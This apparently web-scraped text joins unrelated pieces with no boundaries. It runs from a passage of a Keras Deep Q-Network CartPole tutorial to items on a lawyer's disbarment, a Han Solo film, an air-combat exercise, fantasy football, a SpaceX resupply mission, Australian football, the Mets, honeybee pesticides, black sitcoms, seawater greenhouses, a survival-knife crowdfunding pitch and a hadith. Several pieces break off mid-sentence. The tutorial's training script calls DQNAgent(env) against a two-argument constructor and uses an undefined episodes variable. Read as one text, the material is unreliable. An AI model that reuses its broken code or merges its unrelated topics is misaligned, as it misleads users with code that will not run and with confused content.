1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 model = Sequential() model.add(Dense( 24, input_dim=self.state_size, activation='relu' )) model.add(Dense( 24, activation='relu' )) model.add(Dense(self.action_size, activation= 'linear' )) model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate))
In order for a neural net to understand and predict based on the environment data, we have to feed it the information. fit() method feeds input and output pairs to the model. Then the model will train on those data to approximate the output based on the input.
This training process makes the neural net to predict the reward value from a certain state.
1 model.fit(state, reward_value, epochs= 1, verbose= 0 )
After training, the model now can predict the output from unseen input. When you call predict() function on the model, the model will predict the reward of current state based on the data you trained. Like so:
1 prediction = model.predict(state)
Implementing Mini Deep Q Network (DQN)
Normally in games, the reward directly relates to the score of the game. Imagine a situation where the pole from CartPole game is tilted to the right. The expected future reward of pushing right button will then be higher than that of pushing the left button since it could yield higher score of the game as the pole survives longer.
In order to logically represent this intuition and train it, we need to express this as a formula that we can optimize on. The loss is just a value that indicates how far our prediction is from the actual target. For example, the prediction of the model could indicate that it sees more value in pushing the right button when in fact it can gain more reward by pushing the left button. We want to decrease this gap between the prediction and the target (loss). We will define our loss function as follows:
Mathematical representation of Q-learning from Taehoon Kim’s
slides
We first carry out an action a, and observe the reward r and resulting new state s`. Based on the result, we calculate the maximum target Q and then discount it so that the future reward is worth less than immediate reward (It is a same concept as interest rate for money. Immediate payment always worth more for same amount of money). Lastly, we add the current reward to the discounted future reward to get the target value. Subtracting our current prediction from the target gives the loss. Squaring this value allows us to punish the large loss value more and treat the negative values same as the positive values.
Keras takes care of the most of the difficult tasks for us. We just need to define our target. We can express the target in a magical one-liner in python.
1 target = reward + gamma * np.amax(model.predict(next_state))
Keras does all the work of subtracting the target from the neural network output and squaring it. It also applies the learning rate we defined while creating the neural network model. This all happens inside the fit() function. This function decreases the gap between our prediction to target by the learning rate. The approximation of the Q-value converges to the true Q-value as we repeat the updating process. The loss will decrease and score will grow higher.
The most notable features of the DQN algorithm are remember and replay methods. Both are pretty simple concepts. The original DQN architecture contains a several more tweaks for better training, but we are going to stick to a simpler version for now.
Remember
One of the challenges for DQN is that neural network used in the algorithm tends to forget the previous experiences as it overwrites them with new experiences. So we need a list of previous experiences and observations to re-train the model with the previous experiences. We will call this array of experiences memory and use remember() function to append state, action, reward, and next state to the memory.
In our example, the memory list will have a form of:
1 memory = [(state, action, reward, next_state, done)...]
And remember function will simply store states, actions and resulting rewards to the memory like below:
1 2 def remember (self, state, action, reward, next_state, done) : self.memory.append((state, action, reward, next_state, done))
done is just a boolean that indicates if the state is the final state.
Simple right?
Replay
A method that trains the neural net with experiences in the memory is called replay(). First, we sample some experiences from the memory and call them minibath.
1 minibatch = random.sample(self.memory, batch_size)
The above code will make minibatch, which is just a randomly sampled elements of the memories of size batch_size. We set the batch size as 32 for this example.
To make the agent perform well in long-term, we need to take into account not only the immediate rewards but also the future rewards we are going to get. In order to do this, we are going to have a ‘discount rate’ or ‘gamma’. This way the agent will learn to maximize the discounted future reward based on the given state.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = reward + self.gamma * \ np.amax(self.model.predict(next_state)[ 0 ]) target_f = self.model.predict(state) target_f[ 0 ][action] = target self.model.fit(state, target_f, epochs= 1, verbose= 0 )
How The Agent Decides to Act
Our agent will randomly select its action at first by a certain percentage, called ‘exploration rate’ or ‘epsilon’. This is because at first, it is better for the agent to try all kinds of things before it starts to see the patterns. When it is not deciding the action randomly, the agent will predict the reward value based on the current state and pick the action that will give the highest reward. np.argmax() is the function that picks the highest value between two elements in the act_values[0].
1 2 3 4 5 6 7 8 9 10 def act (self, state) : if np.random.rand() <= self.epsilon: return env.action_space.sample() act_values = self.model.predict(state) return np.argmax(act_values[ 0 ])
act_values[0] looks like this: [0.67, 0.2], each numbers representing the reward of picking action 0 and 1. And argmax function picks the index with the highest value. In the example of [0.67, 0.2], argmax returns 0 because the value in the 0th index is the highest.
Hyper Parameters
There are some parameters that have to be passed to a reinforcement learning agent. You will see these over and over again.
episodes - a number of games we want the agent to play.
- a number of games we want the agent to play. gamma - aka decay or discount rate, to calculate the future discounted reward.
- aka decay or discount rate, to calculate the future discounted reward. epsilon - aka exploration rate, this is the rate in which an agent randomly decides its action rather than prediction.
- aka exploration rate, this is the rate in which an agent randomly decides its action rather than prediction. epsilon_decay - we want to decrease the number of explorations as it gets good at playing games.
- we want to decrease the number of explorations as it gets good at playing games. epsilon_min - we want the agent to explore at least this amount.
- we want the agent to explore at least this amount. learning_rate - Determines how much neural net learns in each iteration.
Putting It All Together: Coding The Deep Q-Learning Agent
I explained each part of the agent in the above. The code below implements everything we’ve talked about as a nice and clean class called DQNAgent.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 class DQNAgent : def __init__ (self, state_size, action_size) : self.state_size = state_size self.action_size = action_size self.memory = deque(maxlen= 2000 ) self.gamma = 0.95 self.epsilon = 1.0 self.epsilon_min = 0.01 self.epsilon_decay = 0.995 self.learning_rate = 0.001 self.model = self._build_model() def _build_model (self) : model = Sequential() model.add(Dense( 24, input_dim=self.state_size, activation='relu' )) model.add(Dense( 24, activation='relu' )) model.add(Dense(self.action_size, activation= 'linear' )) model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate)) return model def remember (self, state, action, reward, next_state, done) : self.memory.append((state, action, reward, next_state, done)) def act (self, state) : if np.random.rand() <= self.epsilon: return random.randrange(self.action_size) act_values = self.model.predict(state) return np.argmax(act_values[ 0 ]) def replay (self, batch_size) : minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = reward + self.gamma * \ np.amax(self.model.predict(next_state)[ 0 ]) target_f = self.model.predict(state) target_f[ 0 ][action] = target self.model.fit(state, target_f, epochs= 1, verbose= 0 ) if self.epsilon > self.epsilon_min: self.epsilon *= self.epsilon_decay
Let’s Train the Agent
The training part is even shorter. I’ll explain in the comments.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 if __name__ == "__main__" : env = gym.make( 'CartPole-v0' ) agent = DQNAgent(env) for e in range(episodes): state = env.reset() state = np.reshape(state, [ 1, 4 ]) for time_t in range( 500 ): action = agent.act(state) next_state, reward, done, _ = env.step(action) next_state = np.reshape(next_state, [ 1, 4 ]) agent.remember(state, action, reward, next_state, done) state = next_state if done: print( "episode: {}/{}, score: {}".format(e, episodes, time_t)) break agent.replay( 32 )
Result
In the beginning, the agent explores by acting randomly.
It goes through multiple phases of learning.
The cart masters balancing the pole. But goes out of bounds, ending the game. It tries to move away from the bounds when it is too close to them, but drops the pole. The cart masters balancing and controlling the pole.
After several hundreds of episodes (took 10 min), it starts to learn how to maximize the score.
The final result is the birth of a skillful CartPole game player!
The code used for this article is on GitHub.. I added the saved weights for those who want to skip the training part.
ReferencesTuesday, February 7, 2017
The Rhode Island Supreme Court has imposed reciprocal discipline based on a Massachusetts disbarment
The facts giving rise to the respondent’s disbarment in the Commonwealth are briefly summarized as follows. In late 2008, the respondent was involved in a group drive of automobile enthusiasts in Massachusetts. Tragically, the driver of the vehicle immediately in front of the respondent’s vehicle struck and killed a pedestrian. The respondent was a potentially necessary witness in any future civil or criminal action that could ensue from this incident, and may also have been subject to possible civil liability due to his participation in the group drive.
Despite these glaring conflicts, the respondent offered to provide legal representation to the other driver, and failed to obtain his informed consent to the conflicts. The other driver was subsequently criminally charged for his actions leading to the death of the pedestrian. The respondent, who had limited experience representing defendants in criminal cases, provided woefully inadequate legal representation, including improperly advising the client and failing to timely obtain an opinion from an accident reconstruction expert. Moreover, the respondent made misrepresentations to the client regarding the nature of his legal fee, payments to the expert, and the payment of fees to co-counsel. The respondent intentionally misused approximately $17,500 that he had obtained on behalf of the client. He also entered into an improper business arrangement with this client relating to an agreement to repair and either lease or rent the client’s car.
The Sentinel & Enterprise reported on the accident and trial, in which the attorney represented the defendant.
Rhode Island attorney George Philip, who was driving behind Conant the day of the accident, represented him along with attorney Susan Turner.
Conant was the first in a line of BMWs driving up Wachusett Street when he went around a curve and lost control, said Assistant District Attorney Blake J. Rubin.
The BMW he was driving crossed the roadway and struck McCaffrey near the driveway of744 Wachusett St.
Police measured 284 feet of tire marks indicating where the car was sliding out of control, said Leominster Police Sgt. Ryan Malatos.
Leominster Police Sgt. Richard Kinney reconstructed the accident for the investigation and determined Conant's BMW was traveling about 62 mph in a 40 mph zone when it went into the spin.
The attorney appeared in response to a show cause order and had not opposed disbarment. (Mike Frisch)
https://lawprofessors.typepad.com/legal_profession/2017/02/the-rhode-island-supreme-court-has-imposed-reciprocal-discipline.htmlOn the newest Empire Film Podcast, Lawrence Kasdan stopped by to talk about his work on Star Wars: The Force Awakens. At several moments, the discussion turns towards the Han Solo film and what it will and won’t be. There is some skepticism about a Han Solo movie and Kasdan says:
I think it won’t be the thing you’re worried about. It will not be like here is where he was born and this is how he was raised. I think what it will be is what was he like ten years earlier, ya know maybe a little earlier you’ll get a glimpse but… what formed the person we meet in the cantina? It is not so much about his specific history. It is about what makes a person like that? He’s not full formed in the cantina! Kurosawa once said ‘the heroes are the ones that are still changing and the villains are locked and petrified into what they are’ and Harrison embodies in Force Awakens someone that’s still not settled on who he is.
The more we hear Kasdan talk about the movie, it sounds like it will be a film that simply tells an important adventure in Han Solo’s life and maybe plays into the reason he’s so callous in A New Hope’s cantina sequence. If this movie isn’t so much about the “becoming” Han Solo stuff and the origin story type stuff, it could also mean the elements written for Han Solo in Star Wars Underworld are fairly intact still should those scripts see the light of day on screen down the road.
Christopher Miller and Phil Lord are directing Han Solo which was written by Lawrence Kasdan and his son, Jon Kasdan. The movie is set for release on May 25th, 2018. Casting is still underway with over 2500 candidates vying for the role.The point of the exercise is to foster interoperability between advanced fifth-generation stealth fighters—such as the F-22 and F-35—and fourth-generation jets—such as the Typhoon.
Next month, the United States Air Force will once again host a massive international wargame with the British Royal Air Force and the French Armée de l'Air (AdA).
The exercise—called Atlantic Trident 17—will feature the U.S. Air Force’s elite 1st Fighter Wing’s Lockheed Martin F-22 Raptor, Lockheed F-35 Joint Strike Fighters from the 33rd Fighter Wing as well as British Eurofighter Typhoons and French Dassault Rafales. Additionally, Boeing F-15E Strike Eagles from the 391st Fighter Squadron at Mountain Home Air Force Base in Idaho will participate in the exercise alongside Boeing E-3 AWACS radar planes.
The point of the exercise is to foster interoperability between advanced fifth-generation stealth fighters—such as the F-22 and F-35—and fourth-generation jets—such as the Typhoon, Rafale and F-15E—against the highest-end threats. Moreover, combined exercises such allow America’s most important allies to train together in a realistic combat setting against a peer-level adversary.
“Although we have fought alongside each other for decades in the Middle East and elsewhere, this exercise will give us an opportunity to refine our skills and ‘night-one’ interoperability against a high-end threat,” Col. Peter Fesler, commander of the 1st Fighter Wing said.
The key to refining those skills is to train against the most difficult possible threats the three allies might face under realistic conditions. As such, the F-15Es will primarily be tasked with providing a realistic presentation of the most advanced enemy aircraft—such as advanced versions of the Sukhoi Su-30 Flanker—that the NATO alliance might face. Northrop T-38 trainers flown by the 1st Fighter Wing’s 71st Fighter Training Squadron will back up the Strike Eagles in providing “Red Air” support. The exercise will also include advanced surface-to-air missile threats that the friendly Blue Force will have to defeat.
“Atlantic Trident 17 is designed to further the development and sharing of air combat TTPs [tactics, techniques and procedures] with our French and U.K. partners,” Fesler said. “To accomplish this, we will train together against a range of potential adversaries and threat systems.”
Some of the British Typhoon aircraft have already arrived at Joint Base Langley-Eustis in Virginia—which is the 1st Fighter Wing’s home base—for some preliminary training. The remaining British jets will arrive by April 15. The French, too, will have arrived by then.
The National Interest expects to cover the exercise on site later in April. Stay tuned.The search for start-worthy running backs never stops in Fantasy Football.
A few running backs you drafted and pegged as starters won't be available for Week 1. Obviously that includes suspended Steeler Le'Veon Bell, but now it looks like Jamaal Charles could remain sidelined as he puts the final touches on his rehab from a torn ACL. Other teams such as Baltimore and Seattle have question marks at running back heading into the first weekend.
So how much is too much to "rent" a starting running back for the early portion of the season?
View Profile DeAngelo Williams PIT • RB • 34 2016 preseason stats ATT 4 YDS 12 TD 0 TAR 4 REC 3 REC YDS 9 REC TD 0
View Profile Spencer Ware KC • RB • 32 2016 preseason stats ATT 24 YDS 85 TD 3 TAR 8 REC 8 REC YDS 50 REC TD 0
We know Williams will get extensive opportunities for the first three weeks while Bell sits out. He's the most attractive running back to target for an early-season boost, but you have no chance of getting him if he's on the same roster as Bell. You also have no chance of getting him if the Williams owner doesn't have another running back to replace him. But Williams himself doesn't have much long-term appeal because he won't be a reliable starter in Fantasy once Bell comes back. His value will sink. So, anyone trying to trade Williams away shouldn't expect big value.
Eli Manning, Chris Ivory, LeGarrette Blount, DeSean Jackson or Travis Kelce should be fair enough exchanges for Williams.
Ware's not exactly in the same situation. His status is tied to Charles' ability to not only get on the field but stay on it for 70 percent of the snaps per week. That might last into October, it might last one or two games. But he should fetch the same kind of player in trade as Williams in non-PPR leagues because he'll likely have at least a minor role once Charles comes back. And unlike Bell in Pittsburgh, Charles is a candidate to re-injure himself since he's coming back from an injury. If that were to happen and Charles would miss time, Ware would emerge as at least a top-20 Fantasy |
HTV-2 resupply vehicles, respectively.
NASA’s other commercial resupply partner, Orbital ATK, which suffered its own failure in October 2014, returned to flight operations via a United launch Alliance (ULA) Atlas V rocket on 6 December 2015 and followed that mission by a second resupply effort, again on an Atlas V rocket, two weeks ago.
For SpaceX, CRS-8 will be the first time in almost exactly one year that a Dragon spacecraft will visit the Space Station.
Dragon’s arrival will also mark the first time both CRS vehicles – Dragon and Cygnus – will be berthed together on the orbital outpost.
The mission will be the fourth flight of the Falcon 9 following the mishap last June, with the return to flight mission being the ORBCOMM-2 flight in December 2015 which resulted in the first-ever successful powered Return To Launch Site (RTLS) landing of a first stage of an orbital-bound rocket.
Likewise, SpaceX will attempt to recover the first stage of the Falcon 9 used for this week’s CRS-8 mission; however, like previous ISS resupply missions, it is understood that the company will use its ASDS barge for the first stage landing attempt.
For this, the ASDS will be placed approximately 210 miles Northeast of the launch site where it will wait to receive the Falcon 9 first stage.
The fact that SpaceX is expected to use the ASDS barge instead of executing a RTLS landing is notable as missions to the International Space Station are not classed as high-performance flights of the Falcon 9 – therefore giving the vehicle the needed performance margins to safely fly itself back to its launch site.
Moreover, with December’s successful RTLS landing of the Falcon 9 first stage, one would assume that the Federal Aviation Administration (FAA) would grant permission to return the first stage to LZ-1 (Landing Zone 1) for CRS-8.
Therefore, either the FAA did not grant permission for a RTLS landing or SpaceX opted to forgo a LZ-1 landing and instead focus on fine-tuning Falcon 9 first stage landing performance on the ASDS barge instead.
(Images: via SpaceX and L2 – including work via L2 artist Nathan Koga – The full hi-res gallery of Nathan’s (SpaceX Dragon to MCT, SLS, Commercial Crew and more) L2 images can be *found here*)
(Click here: //www.nasaspaceflight.com/l2/ – to view how you can support NSF’s running costs and access the best space flight content on the entire internet)Merrett won his first best and fairest in 2016.
Essendon Football Club is pleased to announce, Zach Merrett, has agreed to a three year contract extension which will see him remain a Bomber until the end of 2021.
The new deal caps off an impressive season for the 20-year-old who was recently crowned the 2016 Crichton Medallist.
Merrett said the Club’s bright future made it easy to sign on the dotted line.
“I’m really excited about the faith the Club has shown in me, and it’s great to have secured my future at Essendon for the next five years,” Merrett said.
“The Club is really well placed with John at the helm. We have established a really strong culture, and with the inclusion of the ten boys, we can’t wait to get on with business and train hard over the pre-season.
“Team success is why we play the game, and I’m really looking forward to working hard and gaining as much experience from people both inside and outside the Club to help the team achieve our vision.”
Merrett stood tall in the Essendon midfield this year averaging 30 disposals per game, ranked fourth in the league for pressure acts and turnovers forced, sixth for pressure points and eighteenth for tackles.
He was also elevated to the Club’s leadership group and became the third youngest Captain in the Club’s history when he took over the responsibility from the injured Brendon Goddard.
Senior Coach, John Worsfold, said Merrett had played a key role in driving the elite culture of the Club.
“Zach was our most consistent performer this season, he showed outstanding leadership and played some exceptional football this season,” Worsfold said.
“He is well-respected by his team mates, is extremely professional in his preparation and has a hunger to improve and develop with each game.
“It’s exciting to see Zach commit to the Club long term, he is an important part of our future and we look forward to watching him grow as player and leader.”
List and Recruiting Manager, Adrian Dodoro, said the young Bomber’s outstanding season was an exciting sign of things to come.
“In just his third season at the Club, Zach is regarded as one of the most exciting young midfielders in the competition,” Dodoro said.
“He has a crafty intuition for the game and constantly drives the highest standards for not only himself but the entire playing group.
“It’s young players like Zach who give our fans great hope that the future of our football club is heading in the right direction.”
Merrett was selected with pick 26 in the 2013 National Draft from the Sandringham Dragons. He made his debut in the red and black in Round 1, 2014 against North Melbourne and has since played over 50 AFL games in his three seasons with the Bombers.Barry Bloom of MLB.com caught up with Terry Collins in Los Angeles on Sunday, where the Mets manager was being honored at the annual Professional Baseball Scouts Foundation Dinner and received the Tommy Lasorda Managerial Achievement Award.
Collins discussed a variety of issues with Bloom and didn’t conceal his strong desire for Sandy Alderson to bring free agent outfielder Yoenis Cespedes back for the 2016 season.
“I talked to Sandy today, and hopefully we’ll continue to move forward in those negotiations,” said Collins. “I don’t know where Cespedes is at contract-wise with anybody else, but I know he wants to come back to New York if he can. He’s a great player and we’d love to have him back.”
There are some real and legitimate reasons for the Mets to be wary of re-signing Cespedes as Sandy Alderson pointed out two weeks ago during a press conference in Manhattan. Advanced stats like UZR and DRS suggest he’s a poor defensive center fielder. Despite his hot streak with the Mets, he still only has a career.319 OBP.
Also, you can knock the Mets finances all you want, but most longterm deals to 30-year old free agents typically end badly. These are all pretty legitimate concerns for the front office.
But on Saturday, with Cespedes still unsigned and fans still clamoring for him, the Mets leaked out some more concerns about their former cleanup hitter, as reported by John Harper of the Daily News.
He marches to his own drumbeat. He refuses to take batting practice. He doesn’t hustle. He smokes during games. He could become a headache if he receives a long-term deal.
I’m not going to say any of these reasons are incorrect. I’ve never seen Cespedes take batting practice. We saw him miss player introductions at Citi Field during the World Series. I’ve yet to see him go to first base when he strikes out on a ball in the dirt. He was lackadaisical running down a routine flyball leading to the infamous inside-the-park home run to open the World Series. Worse yet, he didn’t even run after the ball once it got by him. So yes, I believe the Mets on all of these fronts.
However, why are they telling all of this to us now? I never heard of the batting practice issue in August. Apparently, there was no issue with smoking in September. Why are the Mets somewhat smearing Cespedes now?
If it’s to change the public opinion of Mets fans on him, it’s misguided. If it’s to distract about how the Mets aren’t spending, it’s not working. If it’s to drive down his market to put him within their range, it’s not happening. So again, what did leaking all this information to the New York Daily News accomplish?
To me, all it accomplished was making the Mets seem small and petty. This guy was a good player for your team for three months. He was a fan favorite. He was a thrill a minute. For all of that, the Mets could have just let him ride off into the sunset if they had no real intentions of re-signing him. At the end of the day, there was no need for it.
Meanwhile, it appears Terry Collins wants desperately for the Mets to bring Cespedes back. However, with as many as 10 teams now reportedly in the hunt for Cespedes and a strong likelihood that he’ll get that five or six year deal he’s looking for, the chances look pretty slim that the Mets will re-sign him. But given all these recent leaks, it makes one wonder if the Mets were ever seriously interested in a reunion with Cespedes after all.Flickr/karthik Nature photography
Where have all the honeybees gone?
A new study seems to strengthen the evidence linking pesticides used on crops to colony collapse disorder in honeybees.
Colony collapse disorder, or CCD, is a phenomenon in which honeybees inexplicably disappear from their hives. The bodies of the dead bees are typically never found.
Researchers led by Chensheng Lu of Harvard University have pinpointed the collapse of honeybee colonies on a class of pesticides known as neonicotinoids — insecticides that also act as nerve poisons and mimic the effects of nicotine. Scientists specifically looked at how low doses of two neonicotinoids — imidacloprid and clothianidin — affected healthy bee hives over the course of a winter.
The results of the study "reinforce the conclusion that sub-lethal exposure to neonicotinoids is likely the main culprit for the occurrence of CCD," the authors wrote in their paper, published May 9 in the Bulletin of Insectology.
Disappearing Bees
Colony collapse disorder was first widely reported in America in 2006. Since then, a complex web of factors has been attributed to the mass honeybee die-offs, including everything from disease, parasites, and poor nutrition to the stress of being trucked around the country each year to pollinate different orchards.
Many scientists have theorized that a combination of these factors with exposure to pesticides could be causing the CCD phenomenon.
In contrast, the new study found that long-term exposure to small amounts of neonicotinoids wasn't compromising the bees' immune resistance to pathogens. The hives had just as many infections when they weren't exposed to pesticides. This suggests that "neonicotinoids are causing some other kind of biological mechanism in bees that in turn leads to CCD," scientists said.
Three neonicotinoids are currently banned in the European Union, but these pesticides are still widely used in the United States. Most corn planted in the United States, for example, is treated with neonicotinoids. And while bees don't pollinate corn, they are exposed to the chemical since the corn's pollen floats to flowers and other crops nearby.
The Experiment
In October 2012, the Harvard team setup 18 hives at three locations in Massachusetts. At each location, four hives were fed high fructose corn syrup laced with neonicotinoids and two were left untouched. Researchers planned to monitor the hives over the winter since that's when the die-outs occur.
Honeybee death More
Bulletin of Insectology
A chart shows the diminishing number of bees in imidacloprid- and clothianidin-treated colonies (the red and blue lines, respectively) between October 2012 and April 2013.
By the spring of 2013, researchers said half of the colonies treated with pesticides had abandoned their hives — the key symptom of CCD. The ones that were left weren't in good shape. Their honeybee clusters were very small and either lacked queen bees or developing bees, the study said.
Only one of the untreated colonies was lost, and in that case the bees' bodies were actually inside their hives and showed symptoms that appeared to be caused by a type of parasite.
The new study replicates a previous experiment done by the same group in 2010. In that study, the team only tested imidacloprid and found a higher rate of collapse — 94% of pesticide-treated colonies disappeared. They think the disparity might be related to a colder winter, which stresses the bees and exacerbates the effects of pesticides.Averil Y. Clarke, author of “Inequalities of Love: College-Educated Black Women and the Barriers to Romance and Family,” said: “Middle-class black women are plagued by a very common racial problem. They, like most women, are encouraged to pursue the middle-class script: Go to college, get a good job and get married and have kids.” She added, “But, when it comes to dating, black women’s class aspirations are more likely to be unfulfilled than white women, their femininity and sense of value more likely to feel under assault.”
Historically, whether it was the striving of “The Jeffersons” or “The Fresh Prince of Bel-Air” or the working-class settings of shows like “Sanford and Son,” “Roc” or “Thea,” class differences have dominated black sitcoms in the post-civil-rights era.
That these three recent shows are all created by African-Americans (Kenya Barris created “black-ish”) might enable them to attend differently to these nuances of African-American lives.
Ms. Rae said in an interview with Vox, “This isn’t a show exclusively about, like, the struggle of being black.” Instead, “It’s just regular black people living life.” By setting her show in South Los Angeles, she is able to reveal the spectrum of African-American class diversity, as she noted in an interview with The Daily Beast: “Yes, there’s poverty there, there are gang members there, but there’s also affluence, there’s middle class, and everybody meshes together.”
Likewise, Mr. Glover said in an interview with Vulture, “I wanted to show white people, you don’t know everything about black culture.” In that same interview, he underscores that one key difference is how he depicts class diversity. When Mr. Glover heard a suggestion that Paper Boi live in a run-down, “traplike” home, he refused. “We were like: ‘No, he’s a drug dealer, he makes enough money to live in a regular apartment.’” He added, “There were some things so subtle and black that people had no idea what we were talking about.”
Taken together, these sitcoms remind us of the centrality of race, not just to our conversations but to policies around income inequality. That the coming years may yield a hiring freeze on the federal work force, the continuing decline of unions, and more suffering for both middle-class and working-class African-Americans is no laughing matter. But, as the adage goes: Sometimes we simply have to laugh to keep from crying.Thanks to a local Qatari blog, Qatar Visitor, Green Prophet recently learned about potential desert seawater greenhouse construction in Qatar.
What exactly is a desert seawater greenhouse, you might ask? We had to look it up, too.
According to the Seawater Greenhouse Company’s website: “Seawater Greenhouse is a unique concept which combines natural processes, simple construction techniques and mathematical computer modeling to provide a low-cost solution to one of the world’s greatest needs – fresh water. The Seawater Greenhouse is a new development that offers sustainable solutions to the problem of providing water for agriculture in arid, coastal regions.”
In layman’s terms, the seawater greenhouses use seawater to humidify the air in the greenhouse while sunlight distills the fresh water out of the seawater. This is a unique solution for desert areas where fresh water is scarce. It is especially great for Middle Eastern countries, many of which have access to saltwater and have large areas of desert land.
Powered by the Sun
But beyond being practical, the use of desert seawater greenhouses is greener than the alternatives for a couple of reasons. Firstly, traditional desalination projects are energy intensive and consume lots of fossil fuels.
Once constructed, desert seawater greenhouses are solar powered. Secondly, in enabling more desert areas to be used for agriculture, local agriculture is encouraged and fewer food products may be imported from far away (thus reducing a nation’s food carbon footprint).
According to Charlie Paton, the inventor of Seawater Greenhouse technology, “UAE, Bahrain, Oman, Abu Dhabi and Kuwait are other countries in the region which are planning to turn its vast areas of arid lands into arable through the unique method.”
Read more about how Qatar’s neighbors are exploring alternative energies
Solar Technologies FZE Plans to Build Middle East’s Largest Solar Panel Plant in Dubai
Dubai’s Wind Powered Rotating Skyscraper is Building in Motion
A Green Survey of Dubai and the United Arab Emirates
Get Social! Facebook
Twitter
Email
LinkedIn
Print
More
Telegram
WhatsApp
Google
Reddit
Pinterest
Tumblr
Pocket
Comments
commentsMSK-1 is a Complete Survival System You Can Use and then Pass On to the Next Generation
“If Things Went Really Bad in the World and You Could Only Have One Knife for the Rest of Your Life, Which Knife Would You Choose?”
I get asked this question all the time…
Hi, my name is David. I'm a former Marine, a Survival Instructor, Entrepreneur, and the Founder and Owner of Ultimate Survival Tips, a popular, survival blog and YouTube Channel (recently ranked by Watch Mojo as the #1 Survivalist Channel) with over 300,000 subscribers.
Over the years, I’ve used, tested, and reviewed hundreds of knives… but I've never found an all-in-one knife that could do everything I need for camping, backpacking, survival, tactical training, and general utility use wherever I go.
So in 2014, I decided to develop a solution… I started sketching, integrating elements from blades I loved, along with innovations that had never been seen before in one knife.
Let me introduce you to… MSK-1: Multi-Scenario Knife.
The MSK-1 is much more than an innovative knife that’s big enough for any job, small enough for any kit, and tough enough for any situation. It’s a complete survival system that you’ll be able to use for your lifetime and then pass on to the next generation.
When the original MSK-1 sketches were created in early 2014, we made the decision NOT to compromise on materials or cut any corners. To me this meant the knife HAD to be designed and manufactured in the USA and made from the finest materials. I remember saying…
“Dude, we’re gonna do this right or we’re not going to do it at all.”
Now, I realize... at the end of the day… my relentless commitment to excellence means this knife is not going to fit every budget… I wish it did…
But for those who support this project, the MSK-1 may be the single best outdoor gear investment you ever make.
Here are just a few of the epic features, advantages, and benefits included with every MSK-1.
KNIFE INNOVATIONS
SURVIVAL INNOVATIONS
HANDLE SURVIVAL KIT INCLUDES:
1.5" Mini Fire Steel Rod: Quick emergency fire starting
2 Waterproof FAT (First Aid Tinder) Packs: For starting fires, bandaid, disinfecting wounds
3 Ranger Bands: Secure gear and extend the burn time of your tinder for fire starting
20' of 50 lb. Line: Fishing, snares, mending gear or emergency wound stitching
1 Magnetized Sewing Needle: Navigation, or patching gear
3 Hooks and Sinkers: Fishing
2 Two Safety Pins: Emergency gear repair
1 Liter Fire Resistant Food Grade Bag: Collect and purify water
SHEATH INNOVATIONS
I never understood why so many companies design a great knife only to wrap it in a terrible sheath, with limited upgrade and carry options.
So we went back to the drawing board and spent over a year, rethinking what a survival knife sheath should be.
The result is the Switchback ACS - Adaptable Carry System.
GET TWO AMAZING SHEATHS IN ONE... Nylon AND Kydex.
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
sound 00:00 00:00
Our Switchback ACS - Adaptable Carry System is the first sheath package that switches from a feature-rich black, ballistic Nylon sheath, to a low profile, black Kydex tactical sheath by removing a single bolt.
CARRY MSK-1 ANY WAY YOU WANT
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
sound 00:00 00:00
Drop Leg, Belt, Pack or MOLLE Carry - YOU Choose!
Easily convert the Switchback ACS Sheath System to transport your MSK-1 in either the standard (left or right handed) belt or drop leg carry positions.
Both the Nylon AND Kydex Sheath builds come standard WITH ALL the hardware you need to attach your MSK-1 to a pack or MOLLE compatible gear.
TRANSFORM YOUR SHEATH INTO A MAD SURVIVAL KIT
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
sound 00:00 00:00
Take Along the Gear that's MOST Important to YOU!
Both Nylon AND Kydex sheaths have a generous array of grommet holes that are designed to fit optional add-on tools like the MSK-1 fire steel holder and MSK-Mini Companion knife.
MOLLE webbing on the front of the nylon sheath accepts add-on MSK-1 Kit Pouches (currently in development), so you can customize your sheath and carry the gear that’s most important to you.
MSK-1 SPECIFICATIONS:
Full tang, fixed blade, fine edge
Blade material: D2 high carbon, semi-stainless, tool steel
Blade thickness: 0.25 inches (0.64 centimeters)
Handle material: Canvas micarta
Blade length: 4.6 inches (11.7 centimeter)
Overall length: 11.3 inches (28.6 centimeter)
Weight: 15.8 ounces (478 grams)
Handle survival kit
Switchback ACS 2-in-1 sheath system: Ballistic Nylon and Kydex
Made in the USA with American Materials
with American Materials Lifetime Warranty
We'll even sharpen and tune your MSK-1 (just send it to us).
As you can see… there’s innovation behind every detail of this knife… But all this adds up to more than a tough, versatile, all-purpose outdoor knife…
The MSK-1 is a comprehensive survival knife system that’s designed to survive life’s worst, and help you enjoy life’s best.
Now we need your help. Your contribution will enable us to complete our first production run… funding the custom tooling, material purchases and highly skilled craftsman required to build each knife.
With your support, we’ll bring this one-of-a-kind, handcrafted, Made in the USA knife to you and to the world.
And please share this campaign with your friends and family.
THANK YOU for your encouragement and kind support!
And remember, BE PREPARED… Because You Never Know.
David, Founder & Owner
Ultimate Survival Tips: YouTube - Website
We have done our best to realistically estimate delivery of your rewards for this campaign. Here is a timeline of what you can expect when you back this project.
MSK-1 in the News - At Blade Show - On YouTube
MSK-1 in the News - At Blade Show - On YouTube
Check Out MSK-1 On: Knife News / BackerKit Staff Favorites / Survival on Purpose / CLAD / News Ledge / PreparedMind 101
NEW $150,000 (1000% Funded) Stretch Goal UNLOCKS MORE Awesome Perks for Backers. Watch Video (Below) for Details...
BAM! $100,000 Stretch Goal Met! EVERY Backer Gets FREE Perks... Watch Video (Below) for Details...Hudhaifa reported: The Messenger of Allah, peace and blessings be upon him, said, “Verily, there were some people who were weak and poor, and they were being fought by a tyrannical people who outnumbered them. Then Allah allowed the weak to overcome them and they were given power and authority over their enemies and they unjustly exploited them, so Allah is displeased with them until the day they will meet Him.”
Source: Musnad Ahmad 22952
